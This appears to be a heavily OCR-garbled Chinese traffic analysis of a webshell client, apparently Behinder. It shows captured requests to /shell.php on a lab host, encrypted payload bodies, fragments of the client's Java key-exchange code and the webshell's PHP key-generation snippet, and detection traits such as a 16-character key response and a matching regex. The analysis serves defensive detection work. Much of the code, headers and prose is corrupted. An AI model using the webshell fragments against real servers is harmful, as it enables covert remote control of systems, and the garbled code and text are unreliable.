AL =4ERREERE JAVA 89 HTTPURLConnection & ("Ki8" {EFBAY HTTP iB(5F) mREIR
B Accept BERNfSEINREBIZBEEREAE, MRIETEAFHZEXT Accept #H1T4ME,

IEBUREE:

1&8ER header B9 Accept HI(E.
IEBUSAIR :

GET i&Kk:

GET_/shell.php ?BRme2=YUaWSZARSAFT8c=tLA6hr&pass=4SE4A4kOE]pK iX7=0403qGHET I IxvI=gyMMS HTTP/ 1.1

Accept: text)’htll,applicatimiuhtllmll,applicatim}x-l;q-ﬂa.g,ilage,iwebp,*,l'*;q=9.3|

User-Agent: Mozilla/5.® (X11; Linux x86_64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 safari/537.36
Host: 192.168.81.130

connection: keep-alive

POST i&3K:



afebads784676940P05T /shell.php HTTP/1.1
l:ontent Type textfht-l, charset=utf-a
miikcvpu2sflséjavshidi; path=/
Accept: text}htll application/xhtml+xml,application/xml;q=0.9, image/webp,* /" ;q=0.8
Ser-Agent: MOZ1 ] . cko) chrome/80.0.3987.132 safari/537.36
Cache-Control: no- cache
Pragma: no-cache
Host: 192.168.81.138
connection: keep-alive
Content-Length: 1068

5. ZIREZEAFREN
= "KE" HNEGARES, 2ERNET GET FZatUERIREEZBERIETE, XabiRE R,

AR

I\\\O



GET /shell. php?pass=593 HTTP/1. 1 =
Content-type: application/=-wew—form-urlencoded

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWEd; Trident/5.0; SLCCZ. .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .MNET4.0C; .NET4. OE)

Host: 192. 168. 1. 130

Accept: text/html, image/gif, image/jpeg, *. q=.2, */*; q=.2 ‘"‘—\ %-—-;ﬁ"\ﬁﬂi’ﬁj%ﬁ

Connection: keep-alive

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 08:43:13 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.23j PHP/S.5.38

X-Powered-By: PHP/S.5.38

Set-Cockie: PHPSESSID=cns3060cjkd633TanrIvsqatss. path=/

Expires: Thu, 19 Nev 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, peost-check=0, pre-check=0
Pragma: no-cache
Centent-Length: 18 1 v rier
Keep=Alive: timeout=5, max=100 % {?\HE%] IE IEI H{]E%H
Connection: Keep—Alive
Content=-Type: text/html

feBEF4236dd7d922GET /shell. php?pass=362 HTTP/1.1

Content-type: application/z-wew—form-urlencoded

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWEd; Trident/5.0; SLCCZ. .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .MNET4. 0C; .NET4.OE)

Hest: 192. 168, 81. 130 . R
Aceept: text/html, image/gif, image/jpeg, *; q= 2, */* q=2 - %__ i/j,z ﬁﬂi%%ﬂ

Cennection: keep-alive

HTTP/1.1 200 OK

Date: Thu, 09 Jul 2020 05:43:13 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/S,5.38
X-Powered-By: PHP/S.5.38

Set=Cookie: PHPSESSID=djmtkkScj2fSvsbudgfdifqe22. path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT —y ATV e
Cache-Control: no—stors, no-cache, must-revalidate, peost-check=(0, pre—check= %._. ﬁﬂﬁ%gﬂﬁ E] E’UL&Z‘%H
Pragma: no~cache

Content-Length: 16
Keep=-Alive: timeout=5, max=99
Coennection: Heep=Alive
Content—Type: text/html

0161a6785f11Te35POST /shell. php HTTP/1. 1

NI A
Emtant-Type: amlioatimfxwform-urlenggded “t—'——__—d—__— EF Eﬂﬁ E:%POST@‘ -

Gt L PIRARRAATR A AR A AR e Y Raes

i A i Mam iai mmmaw mam = 2

HeAlIRE MBS



) unile. Sava 13
1f(s == “Content-type®)
continua;
urluithSassion = 5
((HetpURLConnection) urllonnestion). setRequestProperty{urluithSession, requestHeaders,get{urluithSession));

)
iF {((HEtgpURLConnection) urllonnection).getResponselode() == 302 || ((HttpURLConnection) urlConnection).getResponseCoda() == 381} {
wrlwithSession = ((String) ((List) ((HEtpURLConnection) urlConnection).getHesderFields().get{ Location™) ). get(@));
4f (lurlwithSession.startshith(“http™)) {
urlwithSession = url.getProtocoel() + “://% + url.getHost() =
urluithSession = urluithSession.replaceAll(password + “=[@-9

}

result.put(FurldithSession™;, urlwithSession);

boolean error = false;
errorisg = *%;
4F {((HetpUALConnection) urllonnection) ., getResponsalode() == 508) {
isr = new InputStreasResder( ((HetplRLConnection) urllonnection).getErrorStresn());
arror = true;
errortsg = "ERERA N THMET;
} &lsa iF (((HUEpURLConnection) urllonnection). getResponselode() == 484) {
isr = new InputStreasResder(((HttplRLConnection) urllonnection).getErrorStresn());
arror = true;
arrorsg = "7 0036 B 404 R~
} else {
|isr' = new InputStreasReader( ({HttpURLCOonnection) urlfonnection).getInputStresn()); |
1

|br = mew BufferedResder(isr); |

String line;
while ((line = br.oreadline()} l= null) {
sh.append(line);

br.close();
if (error) {
throw new Exception(errorMsg);
} plse {
String rawkey 1 = sb.toString();
Ting pattern = "la-TA-Fo- ; fr EMOS6iEHA
Pattern r = Pattern.compile{pattern);
Matchear = » e matchar(rasiov 132

"+ (url.getPort() == =1 ¢ url.getDefaultPort() : url.getPort()) + urluithSessi
"

Nt

—E2EZHEEAN rawkey 1 TE,




i Tti1s. Java 52
159 String rawkey 1 = sb.toString(); -

« proprayy
String pattern = "[a-fA-Fa-0]{16}"; // LERICE16LEHA - i, ax
Pattern r = Pattern.compilef{pattern); %'— ﬁ\g}fﬂiﬂ?”%key
162 Matcher m = r.matcher(rawkey_1});
163 if (Im.find()) {
tManEu@ﬁmvﬁEWE.EEE%K“E@W;
} else {

int start = @;
157 int end = B;
168 int cycleCount = @5
170 while {trua} {
171 £ M ERE
172 Map<String, String> KeyAndCookie = getRowfey(getUrl, password, requestHeadars); o
173 String rawkey_2 = KeyAndCookie.get(key™); o— %_fﬁ’ﬁﬁiﬂ{]kev
174 byte[] temp = CipherUtils.bytesXor(rawkey_l.getBytes(), rawiley_2.getBytas()); -
175
176 int i;
177 fFor (i = ©; i ¢ temp.length; ++i) {]
178 if (temp[i] > @) {// MEH. F— X TFomid
1749 AF (start == @ || i ¢= start) {
183 start = i

¥

break;

§ }

for (i = temp.length - 1; i »= @; --i) {

if (temp[i] > @ {// MEH. BE—1XTFomis
188 iF (i 3= end) {
189 aend = 1 + 1;

155 y ! R 23R (5]

4f (end - start == 16) {
196 result.put(“cookie®, KeyAndCookie.get(“cookia®});
197 result.put(“beginindex”, String.voluwedf(start));
result.put(“endIndex™, String.veluedf(temp.length - end));
String finalkey = new String(Arrays.copyOffionge(rawkey_3.getBytes(), start, end));
result.put“key", finalkey);
return result;

BRI EAEE rawkey 2 TEh, 25 rawkey 1 #] rawkey 2 #H{T7 BaiRE, BIR
EZEREFMT, NMERERFZM, RES=EIRE 10 XFR. LERXRAIEIKE HXE
Fi, SEFRE2AESDER 2 X5 OK 7, 3 REEPRIIEREBAKREZ. MARTXIEN TR
IOIRENRIRIEE R AT AR HIREEZRRR L.



MR RERENEZTRRNERE, ALABIR—/RERENE H. BE ERIEEHEE] webshell B, 53X
B HRITIE.

B

IEBURRIRER

Yireshark - B TCP & (tep.stream eq 0) - XKEEE =10 %]
GET [shell.php?0m2F toS=sXpSH1z &3LFbYMA=0XuvidoddeGCBZp=ua0snIifpass=eydddMEoF gDM=6IVIAGEA92 Ydpb=tMc dokaHDVBEM=N1KcqM HTTR/ :l
1.1

content-type: text/html; charset=utf-g
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*:q=0.8
User-Agent: Mozilla/5.0 (Windows HT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/f537.36

Host: 192.168.81.130
connection: keep-alive ‘\\-
LY o
HTTP/1.1 200 0K o ﬁ\ xHE 0 %H
Date: Sun, 12 Jul 2020 62:13:11 GMT
server: Apache/2.4.23 (Win32) OpenssL/1.0.2j PHP/5.5.38
X-Powered-By: PHP/S.5.38
set-Cookie: PHPSESSID=bbagmcal3csejliqldog2ljhiz; path=/
Expires: Thu, 19 Hov 1981 08:52:00 GMT
cache-cControl: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-alive
| |Content-Type: text/html

P — W e e
9dcae8ccd@59394cP0ST /shell.php HTTP/1.1 % N lrﬁ Iﬁ] ﬁjfj«m ‘tﬁl:

Content-Type: text/html; charset=-utf-g

Cookie: PHPSESSID=bbagmcal3cs6jllqldoq2ljhi2; path=/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows HT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.8.3924.108 safari/s37.36
cache-control: no-cache

Pragma: no-cache

Host: 192.168.81.130

Cconnection: keep-alive

content-Length: 1068

2q6c kgebats 7qGdd1ZBUz 0LKwNxuotdeh 3P kqxTVSBPHDMX

3L2vqkALc SPA7BWSYIBCeuPud9DB L 253K CvoedK i05F8YEENSY 15cBsa3bhHCk ITF JULSMx9q3NBVS v 1hKz c kBDOBADGU T I 7RMASrwWE aDF + 14VYEDF RpU2Bu+ 2
wYpvPzozeykmZEHgvhCxkOOZmYWE KXolHCYNHIB I8 jqEpLE ieDR3bqlaon9cA0N + xeAUeAN2 IXCSx iWAOY rkMx 1d055+ 3L 5R0F 3RVIE2 IBb6Gm + 2 +4FFHuu
cx52ySApwflrRS5zv7b/z3ek /ammxXtuL TyWiyakB341/ +4/A4Gvaumy J+ 1 FvHVEYX072/ E4Wt33130Dykgh70uiavaTPgxa2 vax/

CHpNB Jdw Iz 8rosEKnS6 1vps jhvppppuCGADC LVEhzAQPe JEPTSTcaums L6 SOk /

nglxﬁéhtqsqr'lTbuxlDzElsanp toGtala keN.A:qu\I)Pc n[mZ]\rga.TtuadImZ izz lhITEzhS'th?PqKPLU1vKgUFIuprm SwSTT5TSz kkoduvCkp@FBLVZ SEF =

e i o LY i e e e ) I S o el

6.response FR[E]|Z$A

ERENERRT, FRRERERLL 16 VI UREIRIE Pk, XENSBHRARIREE,



MRETE BRI :

\r\n\r\n[a-z0-9]{16}$

il

Content-Length: 16

RURER: LA\ r\n SZEEE/TINLE 16 (FEI\E + BIFEEGHER, Bits Content-
Length: 16 J9RI—2taml,

HTTP/1.1 206 0K

Date: Sun, 12 Jul 2020 02:13:11 GMT

server: Apache/2.4.23 (Win32) OpenssL/1.8.2j PHP/5.5.38

X-Powered-By: PHP/5.5.38

Set-Cookie: PHPSESSID=bbagmc4l3cséjlliqldoq2ljhi2; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Content-Length: 16

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

odcaegccda59394cPosT /shell.php HTTP/1.1

BA IKE T EFinfUREXd T2 RRYECECAI -



) Utlls. java B2
br = new BufferedReader(isr);

String line;

while ((line = br.readLine()) |= null) {
sb.append(line);

}

br.close();
if (error) {
throw new Exception(errorMsg);
} else {
String rawkey 1 = sb. toStrine():
String pattern =|"[a-fA-Fo-9]{16}";| // ENIMLE 16 EH
Pattern r = Pattern.compilelpatiern);
Matcher m = r.matcher(rawkey 1);
if (Im.find()) {
throw new Exception("M @TFiE, BELEFENEHA"),;
1} else {
int start = 9;
int end = 9;
int cycleCount = 8;

IR RICEC T 16 VAYFE a-f KNG + 8=, hah~ XERAEE? ? ?






[RREE "Ki8" EMABTHI webshell E:

(isset($_GET['pass’']))

$key-substr(md5(unigid(rand())),16);

$ SESSION| k' ]-$key;
print $key;

EJ9 webshell £ HZBELS md5, md5 BIHERTRE 16 #Hl, ATLARE 0-9a-f,

GET fZa\inplais, ALIIA—ERERIREINE, BERBERRE.
IEBURRIRER

A LA RIER L Sk -

&« - C © | & 192.168. 81. 130/shell. phpPpass=124

My info is here.

EM:



GET /shell. phpPdTXgi=T0ZHVDEOdmZn=ct vhkZEZoxD6=I2ZbCVEpass=DhTy 1 XrkopdRr e S=UFgEnG0& indXy=RZ1Xv HTTP/1.1
Content—type: text/html; charset=utf-8

Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, +/+; q=0. 8

User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/78.0.3904. 108 Safari/537.36
Hest: 192, 168, £1. 130

Connection: keep-alive

HTTP/1. 1 200 OK

Date: Sun, 12 Jul 2020 03:18:15 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/S.5. 328

¥-Powered-By: PHP/S.5. 38

Set=Cookie: PHPSESSID=j5b24blf28ehqrldqqbuloifhd; path=/

Expires: Thu, 19 New 1981 03:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: ne-cache
Content=Length: 178 B
Keep=Alive: timecut=5, max=100 - %
Connection: Keep-Alive Content Lengthﬁ
Content=Type: text/html

<!DOCTYPE html>
<html>
<head>

i <titledInfol/title> /— ,@1145:}%}“%

{body>

My infe is here, <!--¢{a id="post_js_url” href="/js/58fbe083bold42ed. min. j&"> Infolfad-=>

</body>

</html>

POST fshell. php HTTP/1.1

Content—-Type: text/html; charset=utf-8

Cookie: PHPSESSID=jSb24blf28ehqrldqqbuleifhd; path=/

Accept: text/html, application/xhtml+xml, application/xml; q=0. 9, image/webp, */*; q=0. &

User-Agent: Mozilla/S.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTHML, like Gecke) Chrome/78.0.3904. 102 Safari/537.36
Cache-Control: no-cache

Pragma: no-cache

Host: 192.168.81. 130 2 P m I aa n e
Cennection: keep-alive H L
Content-Length: 1063

Vpbu05xo1Bg8nVT xgMEDiDIy YyKKkBux ibr i COVKG1 23 f YSOKf yAmydCuyaghK62 YP+FHOUFEDj ¢ TWE JOmQSdZEc qu j5r gnNsaoyrhiz JKaF 9GQLnaCLAWCh f S5 Y xxSkkCXgzS
sVeBuavHLt 0INz3eVEgQU IFPRGDTeV3RcDuml RTUf vxcb IM105avdd 1 Ty +t cNX 20U o/ euc JE T/

ToEGTXMAUVELEXtSg IR22£+bySEddETIAFISFE] iW25+1q3z +2wh1b T xHkBQwE Sg SokWvDUlg SDWyuuhnRNkCwTt LSEZkI1315g ThpRtnN3Vzs0s zh 1 THSUGke OVKWCh T IHG AT
JaChANZﬁm*Ua loduS‘deBIS!dl?éO)eHltydDZCE 1 l!’thOvaQS_T.-"hE?!’vJM IkOQQHsquanfeSJSDO?KI:I?:Bf
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XEREERAINT —ERBERER, SCHETTTLRERNES.

7.header 719 Cookie

E7 "ikig" BUABTEHRY webshell ARy key TEISZHIREIZFinfE, SIFERIRTEFE Session




. 1M Sessionld EE—IREFimisKAT{ES Cookie &KiXL8 T EFim, LA Cookie tB2(FA
Bl EERNER.

feb6f4236dd7d922GET /shell. php?pass=352 HTTP/1. 1

Content—type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWGd; Trident/5.0; SLCCZ; .NET CLR 2.0.50727; .HET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0, InfoPath.3, .NET4.OC; .NET4. OE)

Hest: 192,168, 21. 130

Aceept: text/html, image/gif, image/jpeg, *; g=. 2, */% g=2

Connection: keep-alive

HTTP/1. 1 200 OK

Date: Thu, 0% Jul 2020 025:43:13 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.25 PHP/S.5. 38
red-By: PHP/G. 5.3

et—Cookie: PHPSESSID=4imtkk&c j2fEvsbudgfdifgell; nathzf]

Ezpires: Thu, 19 New 1921 UZ:52:00 GHMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no—cache

Content-Length: 16

Keep=Aliwve: timeout=5, max=99

Connection: Keep-Alive

Content=Type: text/html

0161a6T55f117295P0ST /shell. php HTTP/1.1

Content-Type: aD-l;catxonfx v — £ orm— urlcncod:d

User-Agent: W CORpAtiD | ; Windows NT 6.1, WOWed; Trident/S.0; SLCCZ; .NET CLR 2.0.50727; .MNET CLR 3.5.30729; .NET
CLR 3.0. 30?29 Hedla Center PC 6. D InfoPath.S_ .NET4. 0C; .NET4. OE)

Cache-Contrel: no-cache

Pragma: no-cache

Host: 192. 168. 81. 130

Accept: text/html, image/gif, image/ipeg, *; q=. 2, */*%; q=.2

Connection: keep-alive

Content-Length: 1068

Cookie FRYEIFAZ "path=/" X&EB%. EHAARSSESAT, BRSZimiE Cookie LA Set-Cookie A9
response SLHRIFZZ0IRE], HA Path 2ix Cookie RIN ISR,

ZENNMEIF
Cookiel; Path=/
Cookie2; Path=/admin/

HNEEESHEMYG /" BRI, R&ER Cookiel, Hifla) "/admin/" BRAY, SREIFNER
Cookie1 #1 Cookie2,



EIERENRRAET, path EF=1F Cookie ABEHI—EBDAIXRIIRSS imAT.

FETEFR:

) sUeils. Java B

27 String line;

277 while [varlZ.hasNext()) {

278 String headerName = varll, next();

2T if (hesderName |= null &8 b d-:rNu'!!-:.-qualin{noreCas-( Set-Cookie")) {

}

}

for {Iterator varld =

E(L'J. st) header

line = (String) warld.next();:

1

lcookiaValues & cookie

Values.startsHith(";"

) 7

skisvalue

s.raplacefirst(”;

s.getlheadariame) ). iterator(); varld.hasNext();

s ") : cook

akieVal

ieValues;

cooki

avaly

a5

+ 1% s

Tine) [

braak;

LA AR SS Ui

ISR

BARIEERF Cookie fy Path FER IS,

IEBURRIRER

[ result.put{“cookie”

s cookieValues) ;]

[y Cookie FTEFFHEMEZ FinfFifiek, JFFIRAKIXIEKITEEPRHEXLF
fHFA Cookie RiXHE.




HTTP/1.1 200 0K

Date: Sun, 12 Jul 2020 ©9:23:56 GMT

server: Apache/2.4.23 (Win32) OpensSL/1.8.2j PHP/5.5.38 -
X-Powered-By: PHP/5.5.38 " 4 -
Set-Cookie: PHPSESSID=bAj7dpbtpujt7772khjtvaocle; path=/ | ‘_—__—____,_. Set [,OOkleL{-"Fﬁ Path
Expires: Thu, 19 Hov 1981 @8:52:00 GMT

cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=0

Pragma: no-cache

content-Length: 178

keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

<IDOCTYPE html>
<html>
<head>
¢<titlerInfoc/titles
</head>
<body>
My info is here.<l--<a id="post_js_url® href="/js/efebozsafdbedido.min. js">Infocs/ar--»
</body>
</html>
POST /shell.php HTTP/1.1 . sl v i .
Content-Type: text/html; charset=utf-8& e i =g v ] N
Cookie: PHPSESSID=b4j7dpbtpujt7772khjtvaocle 4————’_——/ fgr}j ﬁﬁlﬁﬁﬂﬁCOOleT’Fﬁ'Path
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/s.@ (Android 6.@; Mobile; rvi6R.0) Gecko/68.0 Firefox/68.0
Cache-Control: no-cache
Pragma: no-cache
Host: 192.162.81.130
connection: keep-alive
Content-Length: 1068

AfaP7uT jfoady2M0yZDUU0 INBSsakftkkzXR+PmRZ9ig JOXpY+OF YUP3D/ EWvwodLz b S 1ah6bf Dy 10 1PpSMKABICTXAmb koWL pmAOVRQ+Cy0/ XNSRIPF tsu/
Wpo/ YUGG2AZPC7XR2ZVY6Sa9RyDB7pK 11 rMAESZ 7TEvBVyM1fW78xr2 5636gvpnptyohZye/
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